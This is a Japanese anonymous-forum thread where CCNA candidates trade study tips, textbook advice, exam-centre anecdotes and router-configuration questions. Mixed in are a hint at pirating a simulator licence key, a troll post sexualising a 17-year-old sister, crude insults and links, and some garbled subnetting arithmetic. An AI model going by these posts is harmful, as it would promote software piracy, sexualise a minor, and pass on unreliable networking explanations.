それともNA未満の為のスレなのか？

どーでもいいが本日合格
回答終了直後に合否が表示されるのは心臓によろしくないな
落ちてたらどないすんねん

>>372
見れた・・・記憶があるが

>>374
それは自分で確かめなよ。

>>375
俺は二度も心臓止まりそうになりましたが、何か？

>>345
NA→NP→DA
これが普通。NAとってDA勉強したらパニくるぞ。

>>361
正確に言えば、紙にパウチっこされたものと
水性だか油性だかわからない太いマジックペン。
あまり使い勝手はよくない。

>>378
一度目、プロメトリックで受けたときはえらく先がでかいマーカー渡されて、
計算問題とかでかい字で書かざるをえなかった。俺が落ちたのは全てこの
先がでかいマーカーのせいだと思った。
二度目、今度はピアソンで受けたけど、このときは先が細くて使いやすいマー
カーを渡された。計算問題も小さな文字で書くことができて使いやすかった。
・・・・・でもなぜかオレは落ちた。
マーカーのせいではなかったのか・・・・・orｚ　そのときまではそう信じてたのに。

　くだらないことで、くじけるな！

　次回は、どんなマーカーか事前に電話で確認して、
気に入ったテストセンターに行って、チャレンジし
てこい！

俺プロメトリックで受けたけど、あのペンは何処も共通なのかな？
ヒジョーに使いづらい！改善を要求する！

>>380
励まし�dクス。

次回は先がでかいマーカーで計算をする特訓をしてから試験に臨む
ことにします。
マーカーに手を慣らすため、明日からハシは使わずにマーカーでご飯
食べることにしよう。

だからサブネットの計算くらい暗算でできるようになれっつーの

>>381
同意。あのペンはマジ使いにくい。使いどころ自体あまりないけどwwwwwwwwwwww

MCPとCCNAだったらどっちを先に取得した方が効率が良いですか？
個人的なイメージではMCPだけでは仕事がなさそうだけれど
CCNAだけならば仕事はあるかなって思うのですが。
まぁどっちみち学生なので卒業（両方取得する）まで働かないのですが。

MCP?　時間の無駄じゃねえの？

資格より経験なんて言葉は腐るほど聞いてきたけど
取るなら両方。面接の幅が広がるよ

両方というかどっちから取るかなんてどうでもいいんじゃない
ただCCNAのほうがうけはいい

これから勉強をしてCCNAを取得しようと思っているのですが、
いい勉強法やオススメの参考書等を紹介していただけませんか。
実務経験がなく独学で勉強しようと思っています。

そういやこのスレになってからケンカばっかりで1-10周辺にすらお勧め参考書書いてないな。
もっと受験者に有益な会話しようぜ？

>>389
過去スレくらい見ろｳﾞｫｹ

参考書も自分で調べられないくせに、何が「独学」だよ（藁

>>389
資格板といっても、頭が良い人ばかりではありません。>>390-391のような
ﾊﾞｶはどこにもいるものです。過去スレ嫁？ｵﾏｴが読んで教えろ。>>389
ロクに議論や情報提供もしないのに、ヴォケとか（藁とか・・・・・
ここは２ｃｈです。ﾊﾞｶどもを許してやってください。

とりあえず認定ガイド買っとけ

>>385
MCPとCCNAであればどっちからでもいいと思う。
まぁMCPは鯖とプロ取得前提だけれど
CCNAとLPICであればLPICでもTCP/IPは必要なのでCCNAからのほうがいいと思う。

>>389
就職希望で全くの初心者であればスクールに通った方がいいと思うよ。
その方が実機も使えて独学よりも早く取得できると思うので
1ヶ月先に働いてスクール代払ったと思えばいいんでない？

>>392
はぁ？？？？？？？？お勧めちゃんと書いてるんですけど？？？？？？？
よく読めﾌｫｹ！！！！！！！！！
しかもアンカー間違ってんじゃねえよ

>>389=>>392



　　　　　　　　　　　　　　　　　　　　　乙

↑
ｵﾏｴこそ　乙　だ。　

>>389=>>392　だとしたら、ｵﾏｴ見事に釣られてるってことじゃん。

「プロメトリックのマーカーは必要以上に大きい」
以来、情報らしいものはないが、誰かまともな話題提供しろ。

恥ずかしい>>389が居ると聞いて飛んできますた。

よーし、23日に初受験だ｡
それまでに、

各パスワードの設定
IPアドレスの設定
VLAN作成とスイッチポートに割り当て
RIP、IGRPの設定
OSPF,EIGRPの設定
拡張アクセスリストの作成と適用
パスワードリカバリの方法
フレームリレーの設定
ISDN、DDRの設定

ぐらいは諳んじられるようになっておくぞー。
実務経験ナシ、シミュも持ってない上に、ペンが太いらしいプロメトリック受験だけど。
ほかにシミュレーションで出そうなところは?

アンケートの練習もしとけ。

>>400
・ 各パスワードの設定
・ IPアドレスの設定

640-801Jで受験するのでは、この２つは出ないな。
上の２つは 640-821J 向きです。

近々受験予定のものですが
ＣＣＮＡではどの程度まで問われるのですか？

400に書いてあることぐらいは問われるだろうね。サブネット計算もからめて。
という私が400ですけど。

>>403
小一時間だったと思うが。

　　　　<<プロメトリックのマーカーについて>>

１．水性の100円ショップにありそうな黒のマーカーペン
２．開始時に渡されるペンは二本、大事につかえ。
３．両端にマーカーがついていて、細い・太いどちらかを選べる
４．しかし！細いからと言って油断して書くとヤラレル。
５．最大の弱点！蓋を開けたまま放置すると
　　5分もたたない内に乾いて書けなくなる。
　　必ず使用後は蓋をすること。

結論：ペンは使うな！！できる限り頭で処理。これ最強

両端についてるなんて初耳だな。

わかりづらい書き方ですいません。
出題内容・範囲は大体はあくしているんですが
例えばプロトコルの詳細も覚えなければいけないのですか？

プロトコル。たくさんあるけどね。

>>408
小一時間だったと思うが。

>>408
とりあえずガタガタぬかす暇があったら認定ガイドなり参考書買っとけ

自分が教科書として使ったのは秀和システムのスキルアップ問題集
問題集というタイトルだけど実質教科書的に試験範囲を網羅してるんで
初学者の自分には向いてたと思う　その範囲以上の出題はまず無かったと思う。

逆に問題集としてはボリューム有るけど中身が薄い感じだった
要点確認問題が多くて本試験に近いスタイルの問題が少ない

ので、日経ＢＰのCCNA問題集でさらに勉強　これでパスした

それと、よく実務経験無いんだが・・・って書き込みがあるけど
そー言う奴はNetworkVisualizerを大人しく買いましょう
俺のようにコマンド表見てても実感沸かない！
っていう記憶力が人並み以下なGuyでも体でコマンドとか概念覚えられたから

なに？高いって？仕方ないなぁ
ヒント：updateパッケージを鈍器で拾えるkey（ry　あとはﾀﾞｳｿ板でも見れ

認定証どちらが良いか判らないで質問した奴がいるので誰か答えてやってくれ。
http://xfreak.com/common/cgi-bin/bbs/index.cgi?mode=view&no=142

>>390
過去スレはDAT落ちで金がかかる。ｵﾏｲが答えろ

CCNAの勉強したらペニスがこうなった↓
http://www.ai-li.net/lesson/sample.htm

CCNAの認定種ってどんなものか写真見せてくれ。
カッチョイイ認定証だったら受験してみようかな？

>>412の話題に便乗

とりあえず先週合格したんだが、
印刷物なりPDF版なり参照できるのは何週間後なんだ？
なんか数週間はかかるみたいらしいけど・・・

それと>>406みてツッコミ
自分横浜と町田で受験したけど、どちらも両端にマーカーのあるペンじゃなかったなぁ片方だけ。
受験会場によって違うのかな？

そのとうり。
マーカーの種類、渡される本数は受験会場で違う。
書き込みシートも言わなければ２枚もらえないところと、何も言わなくても
２枚くれるところとある。
あんな使いづらいもの、ただの白紙数枚と普通の鉛筆に変更できないものか？

>>411
昔ながらの参考書、特に問題集では今の試験には対応できなくなってきているぞ。

>>419
認定ガイドと黒本（問題集）じゃ不十分？

秀和とCCNA問題集のほうがよくねぇ？
いまだに認定ガイド買ってる奴いんの？

認定ガイド買うなら秀和買っとけ

工作員じゃないが、俺も秀和をすすめるよ。
本屋で両方開いてみればすぐ分かるよ。どちらが勉強しやすいか。

カプセル化の際に付加されるトレーラやヘッダの詳細について覚えたほうが
良いですか？

このﾎﾞｹｯ　ここでこんな事聞くな。
全部勉強せんか。このﾎﾞｹｯ
こんな質問はCCNAふりーくでやれ。

そんなに詳細に覚えなくても大丈夫だと思うが。
アウトプットできなくても図を見て思い出せるようなレベルであれば問題ないと思われ。
基本的な部分だけ押さえとけばおｋ。

最近NA取ったけど、既に内容の殆どを忘れかけてる。

>>427
短期集中で猛勉強して取った資格は、忘れるのも早いね。
俺様はもう２回落ちて、半年以上もCCNAの勉強してるから内容忘れ難い。
一発合格組みより内容把握している俺様はｴﾗｲ！

Web上の問題集と言えば、

CCNAふりーく
http://xfreak.com/mondai/i-ccna.html

＠IT - アットマーク・アイティ　CCNA過去問題一覧
http://jibun.atmarkit.co.jp/scenter/ittrain/94_cal.html

あたりがメジャーだが、これもなかなか良いです。

ネットワークエンジニア養成所 模擬試験
http://aroha1209.hp.infoseek.co.jp/mogitest.html

>>429
模擬試験あたり面白いな。
ネットサーフィン中にふらりとテストできるあたりが。

CCNAって、初心者向けなんですか？それにしては難しい

>>431
あくまでもCCNAPやCCIEをめざすうえでの初心者向け　という認識じゃなかったか？

CCNAPって何だヨ
CCNPの間違いね orz

　　　　　　　　　　 　 　 ﾉ
　　　　　　 __　　　　　/
　　　　　 /⌒ ヽ 　／　　　　　　　 ／
　　　 　 （　　 　 ）'ﾞヽ.　　　　　_／
.　　　　／iｰ-‐'"i　 　 ,;　　 ／
　 i !　（　ヽ.　 　 ）　 ﾉ/ .:／
　　　 （＼.ﾞヽ＿（_／,ｲ／
　 i !　（＼＼＿,＿）' ﾉ
　　　 （＼＼＿,＿,）'
　 i !　 l　,i＼ ヽ､ !　　ｸﾞﾁｭｯ ｸﾞﾁｭｯ
　　　　l　}!　 ヽ､ ）
　　 　 し'

CCNA取って、未経験なのにいきなり提示年収が、うわわ万だった。
大手最高ｗｗｗ

>>435
詳しく

どうせ、大卒無資格はもっとうわわなんだろ、しくしく、、、

いまどき、未経験のCCNAで高級出す大手があるか？

うわ、なにこの切ない展開

WANなんてあんまり出なかったぞ。
俺ほとんどフレームリレーの知識無しで合格したし。
最近やっとDLCIの意味覚えたぐらいだ（笑

1年前の話だけどな。

ピアゾンで受ける奴は要注意
採点表は絶対に捨てるな　特に落ちている場合

その理由は？

いや、なんとなくだが

もうすぐGW
家族に会える
一人暮らしして何故か思った
家族の誰かがもし氏んだとしたら、立ち直れるのだろうかと・・・
考えただけで涙でぐちゃぐちゃになった・・・

てｓｔ

ピアゾンは受験者見てカモるとか、そういう意味では？

去年に基本情報取った者です。
基本情報のネットワークに関する問題は、ほぼ０点だったので
このCCNAって奴を受けてみようと思いました。

金は無いけど、時間は人一倍あるんで独学でがんばります。

にいと

１月に１回目をうけて825で落ちた。
３ヶ月の充電を経て、再チャレンジ！！
なんとか880で受かりました。
でも、やけに問題が難しくなってて、かなりあせったよ。

イントロは取れたけど、3週間びっちりやったらCCNA取れるかなぁ
どうしても就活に使いたいから時間がない…

CCNAの勉強用にルータ買おうと思うんですけど、
一番しょぼい奴でいくらくらいなんですか？

ヤフオクで検索しなよ・・・

ttp://www.yakisoba.org/img/img20050421200930.jpg

>>453
住宅手当が5万というのは、今時めずらしいな。
給料は、SEクラスだったらそんなもんか

NEとしては標準的な給与だなｗ

今度仕事でﾔﾏﾊのﾙｰﾀ関連の検証とかするんだけど…
ﾔﾏﾊのﾙｰﾀってｼｽｺと仕組みが違うのかな？
ｼｽｺﾙｰﾀの仕事につながるような経験になるのなら頑張りがいが
あるんだけど。。
ﾔﾏﾊのﾙｰﾀって聞いたこと無いんだけど、もし何か知ってる香具師
いたら教えてください。。
ｼｽｺのﾙｰﾀを将来的に扱いたいので「経験になるかどうか」が
一番のﾎﾟｲﾝﾄ　

おいおい
シスコ製品しか扱えなくてこの先生きのこれるかよ。
つーか釣りか？

おれなんて見たことも聞いたこともない機器壊れても直しに行くんだぜ？
検証とか楽しそうなことやれてるんだから正直うらやましい。

>>457
ﾔﾏﾊのﾙｰﾀなんて聞いたこと無いもので
ﾙｰﾀといえばｼｽｺしか知らない素人です。。 orz
CCNAで勉強したことが役に立つのかも心配
実務経験になるなら頑張るしかないけど…

役に立たないよ。メーカー違うんだから。
やるだけ時間の無駄。

夜勤のアルバイト募集してるんだけど･･･
この資格あれば採用される?

>>460
夜勤のある(^_^)/~~ﾊﾞｲﾊﾞｲ トってなんだ？
コンビニのレジか？

使ったことないのでよく分からないけれど
メーカー違ってもある程度は使いこなせるんじゃないの？
そういう現象をなくすためにTCP/IPが存在しているのだし。
Wordが使えれば全く使ったことない一太郎の操作は出来るようなもんじゃないかな。

>>458
YAMAHAはRT100i時代から日本では結構有名だ
Ciscoルータを扱えるならYAMAHAくらい簡単だろ
それにYAMAHAのサイトには日本語の設定例やら技術情報が充実してるんだから簡単
逆にYAMAHAルータも扱えないようじゃ、ネットワーク関係の仕事に向いてないからやめた方がいいよ

TCP/IPと設定はまったく別問題。
そもそもヤマハはCLIなのか？

>>464
ここ見ればわかると思いますがCLIですよ
細かい設定は、法人向け個人向け関係なくCLIで行います
ttp://www.rtpro.yamaha.co.jp/
ttp://www.rtpro.yamaha.co.jp/RT/docs/example/
ttp://www.rtpro.yamaha.co.jp/RT/docs/

Cisco使うこと結構多いと思うよ
Ciscoが高いからね

間違ったwwwwwwwww

ヤマハ使うことが結構多いの間違いね

CCNA受かったけど、会社受からねーー！！バッキャロー

世から社員が少なくなっているとか嘆いていて
ニュースにもなっているが、その最大の理由は
入口を極端に狭めている、会社その物であると
各人に自覚してもらいたい。

>>469
そうだね。会社が人件費節約してるだけなのに
派遣の悪口言うのはおかしい。

CCNA受かった後って、３年間の間に受けなおさなきゃ更新できないんですか？
それとも３年間たってから受けても大丈夫なのでしょうか？初心者ですみませぬが教えてください

>>466
そうそう、Cisco高いんだヨ。
ある会社に面接行った時聞いてみたら、
「いずれＣｉｓｃｏは消えるかもしれない。高すぎるから。」
と言ってた。それが現実になるかは誰にもわからないけど…
ただ、今の現場で管理者のｵｯｻﾝに聞いたら、
「ｳﾁで使ってるﾙｰﾀは１５００万だって」
と言った。１台１５００万じゃないだろーけど、全部で１５００万ってのも
ちっと高すぎなんじゃねーか？？
ｺｽﾄかけたくない現場なら安いの使うような気がする。。。

>>472
確かにCisco高いよ。
モジュール1枚で100万とか普通にする。
たまげたのは、会社ぐるみで値段交渉しても1枚900万近くする
モジュールだってある(交渉相手はCiscoのパートナーだが)

ただし、それに見合った信頼性や細かな設定による柔軟性も
当然持ち合わせているわけで、そういったところからCiscoを
選択する企業も多いってことだね。

1500万なんて使えねー奴一人雇わなきゃ済む話だろ。

>>472
消えないだろ。値段下げればいいだけの話だもん。
そもそもCiscoが高い理由って何なの？

半分が優しさで出来てるから。

殿様商売だからだろ。
でも、某大企業のシステム部門の人に聞いたら
相場の価格からだいぶ安い価格で買えるっていってたよ。

それと、Ciscoの品質がよくないのはみんなしってるよね。
これまた元Cisco社員の人に聞いたんだけど、
米国の工場に行ったら、
あまりにいいかげんさにﾜﾛﾀって言ってた。

>>466
Catalyst6500なんか普通に使える状態にするのに1台2000万くらいかかるんじゃない？

ｽｲｯﾁにもｺﾏﾝﾄﾞあるのかＹＯ
ﾙｰﾀだけだと思ったのにorz
ｺﾏﾝﾄﾞの暗記ｲｸﾅｲ

あとﾌﾚｰﾑとかの内部構造（何ﾊﾞｲﾄとか）は
覚えたほうがおｋ？

あ、あと「冗長」って言葉の意味を教えて下さい
辞書で調べたらなんか違うっぽいしｗ

じょうちょう　―ちやう 0 【冗長】

（名・形動）[文]ナリ
くだくだしく長いこと。無駄が多くだらだら長いさま。
「―な文」
［派生］ ――さ(名)

ここでしらべれ
ttp://www.x-media.co.jp/jiten/index.cfm

なんでcisco叩きスレになってるん？

高い金だして落ちたからだよ。

初心者集まってんなー。
Cisco扱うくらい金持ち会社で働きたいよね・・・

売る側ならいやっつーほど触れますがそれじゃ駄目ってか？

Ciscoぐらい、客が欲しいって言えばいつでも触れるよ・・・
会社が金持ってるかとか関係なし

ちなみにCiscoはボッタクリ価格だから、ネット○マークスあたりから半額以下で
仕入れたりする事も出来る。
客には70%程度で提供＋作業費もらってウマー


Cat650xみたいな高級機は置いといて、ローエンド機器なら最近は国内の方が
性能良くないか？
NECやら富士通やらヤマハは結構いい製品作ってると思うが。
ちなみに富士通なら全ての設定をブラウザから設定可能。
地方営業所の十数拠点をVPNで結ぶぐらいなら、10万円そこそこのルータで構築できる。

>>487
富○通はオススメしないぞ。GeoStreamとか。
うちのシステムに導入したらバグばっかりでボロボロだった。
N○Cは使った事ないが、どうなんだろ。今ならアラク○ラで
販売してるんじゃないかな。使ってみたいが検証導入の許可
が降りん・・・

>>479
デフォルトのプロンプト
ルータ
Router>
スイッチ
Switch>

日本もアメリカもIT産業は終わってるね

シリコンバレーの雇用情勢を探る
　ttp://www.bayspo.com/weekly/jetro/jetro640.html

>>490
去年、NHKスペシャルで、スタンフォード大学やカリフォルニア大学バークレー校を卒業した
年収1000万円以上もらってた人間がリストラにあって仕事が見つからないってのをみたけど
本当に終わってるな

とりあえず昨日合格したわけだけど、10営業日後にしかトラッキングシステムにログインできないってことで
OK?

NO

>>493


( ´,_ゝ｀)ﾌﾟｯ

認定ｷｯﾄは合格後どの位の期間で届くんだ？

>>495
おまいが就職できてから

トラッキングはたぶん来週すぐに反映されると思う。
認定証は6週間待ち。

>>497
認定証は2週間くらいできた気がするが？
6週間もかかったの？

>>497-498
ありが�d
ちなみに自分が合格したのは２週間前。
届くのはもう少し先だね

>>496
やべwwwww6週間どころじゃ届きそうにないwwwwww

>>488
L3SWとかは知らないけど、SI-Rなんかは最近結構いいよ。
NECのIXもイケル。

>>498
事務局に問い合わせ済み。
おれはNPの認定証待ってもう4週間・・・
最近のプロメの混み具合と連動するのかな。

スクールで配られる問題と、実際のテスト問題が同じな件について

で、ｵﾏｲﾗは
ＣＣＮＡ取って何の仕事をしたいの？　

あまりネットワークの知識がない俺がCCNA受かるにはどれくらいかかるだろうか。
二ヶ月くらいで受かるようなものじゃないのだろうか。

>>503
ネットワークエンジニアだろ

>>504
秀和の問題集１−２章を立ち読みする。
出来れば問題もその場で解いてみる

うｈwwwwww楽勝　→　２ヶ月もあれば充分
ﾃﾗﾑｽﾞｶｼｽwwww　→　まぁ年内目標でがんばれ

みなさん、お久しぶり。
JITECの試験も終わったし。
来月CCNA受けてきます。
今度はネットの有料問題集もやりこんでから
受けます。

妹のがいいじゃん。姉なんていいもんじゃないよ。俺なんか最悪だよ。
俺が風呂入ってるとき17の姉ちゃんが入ってきて。
明日早いから待ってらんないとか言ってきてさ。いつもだよ。
しかもうち湯船狭いから超密着状態でせめーっつーの。

>>508

でオマエはおっ立っちゃうのか？

EDになりますね

CCNA→CISCO→シスコ→シスコン→妹ラブ→508

テクニカルエンジニアネットワークと、CCNAってどちらが難しいですか？

>>512
一緒にしてんなヴォケ。

簡単なほうを勉強しようと思います。

>>514
Ｐ検受ければ。

F2本社の連中らとの研修でCCNA受けることになった
絶対に取らないとやばいよなぁ・・・・・;y=ｰ(´Д｀;)･∵.　ﾀｰﾝ...

富士通グループ企業の奴か。
俺も1年前は似たような境遇だったなぁ〜。
ｶﾞﾝｶﾞﾚ

>>517
もしかしてそちらも沼○で研修うけたんでつか？

いんや、俺は自分の会社で研修受けたよ。

F社員頭だいだぶか？？
スレ違いだろｗｗｗｗｗｗｗ

35才でPCはインターネットとメールをやる位です。
コールセンターでバイトしてきたけど、移転で今度辞めます。
で、35才で職務経験もバイトでコールセンター業務という事もあって
まず社員は絶望で諦めてます。
CCNAを取ればバイト（派遣）で月に22万くらいの収入は可能でしょうか？
ちなみに私は男です。
情けないですが一人で細々と生活できたらなぁと思っています。

>>521

２２万円くらいなら、いけるだろ

>>521
情けないとも思うがそういう風に考えて生きられたらどんだけ楽になるんだろうか。
正直うらやましくもある。
プライドだけ高くってほんといやんになっちゃう俺。

つーか22万ならCCNAなんてなくてもいけんじゃねぇの？

全教振グループには気をつけよう
http://recruit.2-d.jp/

CCNA思ったより需要あるんだなｗ

ないよ

テクネとCCNAってどっちが難しい？
テクネ→CCNAかCCNA→テクネか迷っています

唐突な質問でスマソ

>>527
一緒にしてんなヴォケ。

>>527
テクネ→CCNA
のほうがいいよ

だな！！！
俺もテクネ→NAがお勧め。
テクネに受からないようじゃCCNAに一生うかんねぇよ。

CCNAの方が遙かに簡単だと思うのだが・・・
いつでも受験できる　って点でね。

>>527
どっちが難しいかは人によるとは思うが、
今この業界で流行してる順序はテクネ→NAだろうね。

テクネはネットワークの知識でいけるが
NAはコマンドを覚えなきゃならない分きつい。
よってテクネ→NAがいいと思う。

テクネ→CCNAが良いみたいですね、
１０月まで間に合うか分からないが、がんばってみよう

CCNA、ちょっぱやで受けられるところってないですかね？

>>535
どういう意味で早く？
当日申し込みが出来る？
対策講座の全部で3日とか？

>>536
ごめん、言葉足らずもいいとこだ……。

CCNA試験をなるべく早く、明日にでも受けたいです。
まあ明日は無理だろうから来週の土日にでも……。

>>537
もう勉強は終わっているの？
それなら今日でも受けられるよ。でも連休中かも。

まだ何も勉強してない状態ならば1週間はどうなのだろう。

あらかた終わってます。
今現在の自分が何点ぐらいかってのを計る意味でも、一回、受けときたいんですけど……。
っていうか今日でも受けられる？　まじですか？

プロメの高田馬場は電話して空いてたら受けられる。

ピアソンも当日予約でできるとこ多いけど
ピアソンIDないととるのに1､2日かかった気がする。
連休だからもっとかかるかもしれないけどー

>>540-541
さんくす、ピアソンは登録したけどIDがまだこないです。
ありがとうございました。

便乗ｽﾝﾏｿﾝ
都内で、高田馬場以外に当日受けられる場所ってないですか？

たぶん横浜も当日オーケーだと思う。
もちろん空きがあればの話。

ピアソンだけど↓に当日申込みOKかのってるよ
ttp://www.pearsonvue.com/japan/TestcentersList/Tokyo_Kanto.htm

俺、WEBプログラマとかWEBデザイナーになりたかったのに気づいたら、
この勉強やってた。

>>133

ホスト4bit残しつまり、ネトアドレス+15=ﾌﾞﾛｷｬｽアドレス

IPアドレス： 11001000 10101010 01000110 00010000
サブネットマスク 11111111 11111111 11111111 11110000
つまーり
ブロードキャストアドレス=　ネットアドレス　∪　ワイルドカード(クラスレス)
なので、208．168．70．16Ｕ0.0.0.15　=208.168.70.31　が　ブロードキャストアドレス　ﾅのレス。

すみません、おなにぃでした。

IPアドレス： 11001000 10101010 01000110 10010000
サブネットマスク 11111111 11111111 11111111 11110000

じゃあ、これのﾌﾞﾛｷｬｽアドレスは？

初心者ですみません。
ルーティングプロトコルの検証コマンド勉強したいですが。サッパりです。

show ip route
show ip protocols
show ip rip database
show ip rip events
show ip packet
debug ip rip

debug ip igrp events
debug ip igrp transactions

show ip ospf interface
show ip ospf neighber
debug ospf packet
debug ospf events

show ip route eigrp
show ip eigrp neightbors
show ip eigrp topology
show ip eigrp traffic
debug ip eigrp

この一つ一つの違いが解りません。

○show ip ospf neighbors
○show ip eigrp neighbors

すみません。訂正です。

勉強したい？？？？
すれば？？？？？？

>>550
秀和のスキルアップ買えば解決。

>>553
もってまする。
しかし、意味解りません。

早めにあきらめるのも大事だぞ

全部　覚えるのがいい

世間での評価ってCCNAとﾃｸﾈとどっちが上なんだろう。
難易度的には同程度？

>>557
テクネの方が難しいと思うぞ

>>557
一緒にしてんなヴォケ。

研修合宿でとる場合ははるかに易しいときいたのですが、
なにやら、講師が問題を意図した教え方をしてくれるそうで。。
どうなのでしょうか？

実力がつかないかもしれないけど。

>>560
研修合宿を受けさせてもらえる人のレベルが高いってこともあるかもね

新卒でも、学校でネットワーク関連の勉強をしてた人を取ったりしてるだろうから
ネットワーク関連の企業に就職する人がネットワークの知識が全く無いってことは無いわけだ

>>561
おいおいｗ
新卒だったら文型でも普通に大手NIとかSIにはいれるってのw

奴らは頭のできがちげぇよ

中堅大卒で、ccna2回以上落ちた人いますか？

>>563
悪かったなッ
で、なんか用か？

サブネットマスクという言葉すら知らなかったけど、
合宿で一発合格しました。

何か質問ありますか？

CCNAフリーク見てると毎日結構な人数が合格してるんだけど
このぶんだと資格持ってる人が供給過多になりそう、、

実際のところどうなんですか？

>>565
合宿とかスクールだとかなり怪しい模擬試験（出題率が高い）があるそうですねw

>>566
ある程度の人数までは増えるだろうけど有効期限が3年だから
3年後には受験しなおさないと資格を維持できない
3年前の2002年にはCCNA取得ブームは始まってたから
合格者は多くても資格を失効してる人も多いはず

シスコ認定ラーニングパートナーが実施してるシスコ技術者認定コース以外のスクールの話が出てるけど、
ほとんどスクールの工作員の書き込みだろ
資格ビジネスも大変らしいからね

それにシスコ認定ラーニングパートナーが実施してるシスコ技術者認定コースは個人が自費で受講するものじゃないよ
あれは会社の金で受講するところ

>>567
マジ？
独学でちゃんと勉強して何とか合格出来たのにさ、、
勘弁してくれよぉ〜〜〜〜〜。
これじゃ金さえ払えば合格を貰えるって事じゃん。

IE以外のシスコ資格は全てゴミ
金のムダ

>>569

会社で受講しましたとも。公式認定ですとも。
あくまで資格、として割り切っています。

スキルはスキルでつけなきゃ。

>>572
新人の研修でCCNA合格させる会社があるって聞いたけど、そういうこと？

>>571
シスコ資格だけじゃなくてIT資格全般だよ
IT業界そのものが危ない

490 名前：名無し検定１級さん [↓] ：2005/04/24(日) 09:42:08
日本もアメリカもIT産業は終わってるね

シリコンバレーの雇用情勢を探る
　ttp://www.bayspo.com/weekly/jetro/jetro640.html
491 名前：名無し検定１級さん [↓] ：2005/04/24(日) 10:47:46
>>490
去年、NHKスペシャルで、スタンフォード大学やカリフォルニア大学バークレー校を卒業した
年収1000万円以上もらってた人間がリストラにあって仕事が見つからないってのをみたけど
本当に終わってるな

>>574
IT業界としては危ないかどうかは知らないけれど
CCNAの知識は今後100年経とうが必要な資格だと思うけれど。
そういうの知っている人がいなければ外に一切通信できないわけだし。
技術が超進歩して「インターネットにつなげるようにしたい」とか
パソコンに言って勝手に設定をやってくれるようになれば別だけれど。

>>575
おいおいｗｗｗｗｗｗｗｗ
頭だいだぶか？？？？？？？
もっと低いレイヤーの知識ならともかくCCNAの知識が100年後ひつようになるとはおもえねぇーーーーーー

BGPとか残るかもしれないけどCCNAの範囲じゃねぇしこれもどうなるかなんて分からんし
TCP/IPはさすがに残るかもしれないがCCNAではマスタリングTCP/IP以下のことしか聞かれないし
IPv6になるかどうかわからんがIPv4はさすがに消えるだろうし

やっぱ偏ってるよCCNA

CCNA取る奴が増えても、全員が実務につける訳ではないし、
実務についても理想と現実の違いでNEと違う方向を考える奴も多いだろうな。。。

>>576
基地外はすっこんでろ。
偏ってるCCNA以上にお前は必要とされてない

シリアルインターフェイスに設定する
・clockrate
・bandwidth

って別物なんでしょうか？
例えばclockrateを100000に設定しても、bandwidthの方は100000にならないんでしょうか。
クロックレートを上げても大域幅は変わらない？？
混乱してきた・・・

>>579
別物だよ。
クロックと帯域幅が混同してるんでしょ。

・　クロックの設定　clockrateコマンドで設定
・　帯域幅の設定　 bandwidthコマンドで設定

クロック・・・DCEが同期を取る（通信のタイミングを合わせる）為にDTE側に送る電気信号。

※　bandwidthでの帯域幅設定では実際の回線速度が変わる訳ではない。
　　　経路選択に回線速度も計算に入れるルーティングプロトコルがあり、
　　　その値を仮想的に設定する事により意図的に経路を操作する為に設定する。

クロックは自分で決めるものじゃなくて、指定できる値がきまってる。
clock rate ? で指定できる値を調べられる。

bandwidthは自分で設定できる。

>>580-581
レスありがとうございました。
なるほど！ちょっとまとめてみる。

・clockrate
通信のタイミングを合わせるための数値。
ラジオの周波数みたいなもの？
DCEとDTEで同じ数値を設定する必要があるが、
帯域幅には影響しない。

・bandwidth
EIGRPなどのルーティングプロトコルの帯域幅計算に使用する数値。
コマンドで数値を変化させても、実際のスループットに変化が出るわけではない。


これでいいでしょうか。
ただNV4で実際にbandwidthを設定してEIGRPを起動させてみたんだけど、
メトリックに変化は無かったです。何でだろう。
こういう時って、NV4が対応してないのか俺の設定が足りないのかわからないから
NV4ってイマイチだと思う。

あ、ミス発見。
・clockrate
DCE側で設定する。DTEは受けるだけ。

DCEで設定するだけで、対向先のDTEで設定する必要が無いのだから、
帯域幅のｙほうにデフォルトの値でも決まってればいいと思うんですが。
毎回入力させるのが謎。
大抵教科書どおりに64000て入れて終わりだし。
どんな数値入れても影響は無いみたいなのに。

>>582
NV４で対応してるかどうかは発売元に聞かないと分からないね。
多分メトリックに反映させるまでは対応してないと思うんだけどね。

clock rate コマンドはあくまでもDCE→DTEにクロックを提供する為のコマンド。
bandwidth　コマンドはインターフェイスに帯域幅を指定するコマンド（仮想的な設定も可）

自分はこのように認識してるけどね。

後、これに関連した問題として抑えとくのは
バックツーバック接続でシリアルケーブルのどちらがDTEかDCEか分からない場合
show controllers serial　コマンドでケーブルのどちら側が接続されてるか調べるとか、

show interface コマンドの出力結果をみたトラブルシューティング等

認定キット発送ｷﾀ━━━━━━(ﾟ∀ﾟ)━━━━━━ !!!!!
って言っても　中身ｼｮﾎﾞｲんだろうなぁ・・・・・

テクネ＞＞＞＞＞基本情報＞＞NA＝初シス

だな

テクネ＞＞＞＞＞NA＞基本情報＞＞初シス

俺の感想

>>585
しょぼいよ。

基本情報とNA持ってる俺からしてみれば、
基本情報＞＞＞NAだな。

テクネは、次元が違う

CCNAの期限が７月で切れるんだが、CCNPって4科目取らないと認定にならないんだよな。
1、2科目だけじゃCCNAは再認定はされないのか？
あと2ヶ月で4科目は絶対無理だし・・。

>>589
NAはコマンド覚えなきゃいけないからテクネのほうが簡単そうだけど
どう違うの？

>>591
そのくらい、ちょっと本屋で参考書みればわかるだろ。
すぐ済む事ぐらい自分で調べろ。
ガキが。

>>590
NP1教科でOKじゃなかったか？

>>591
はぁ？？？？？？？？？？？？？？？？
お前頭だいだぶか？？？？？？？？？？？？

コマンドがどうこうより理解してないと糞

>>590
NP1教科で再認定だろ。

正直、シスアドとNAどっちが勉強時間必要なんだ？

ふざけているのか、おまえ

おれＮＡとおったとおった！！
問題演習だな。
そんなの普通気にしねーよ問題ばっか！！
１週間で通ったなんておかたは運かいい問題やったかだな。
合格に意味ある資格だな、コリャ。

といーつつなんもわからんやつは問題やってもきびしいかも・・・

>>593
お前も頭だいだぶか？？？？？？？？？？？？

ここはアンチＣＣＮＡスレですか？

CIDRとVLSMの違いがわからん・・・・

http://www5e.biglobe.ne.jp/~aji/
ここの30分間ネットワーキング嫁
これ読んでわからないようならCCNAはあきらめれ

三ツ矢サイダー

>>601
VLSM
サブネットを更に分割して、サブネットの中にサブネットを作る。
IPアドレスの空間を無駄なく有効活用できる。
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
CIDR　
クラスフルの概念にとらわれず、各クラスをサブネット化する。
つまり、平たく言うと普通にサブネット化された状態。
IPアドレスの空間を無駄なく有効活用できる。
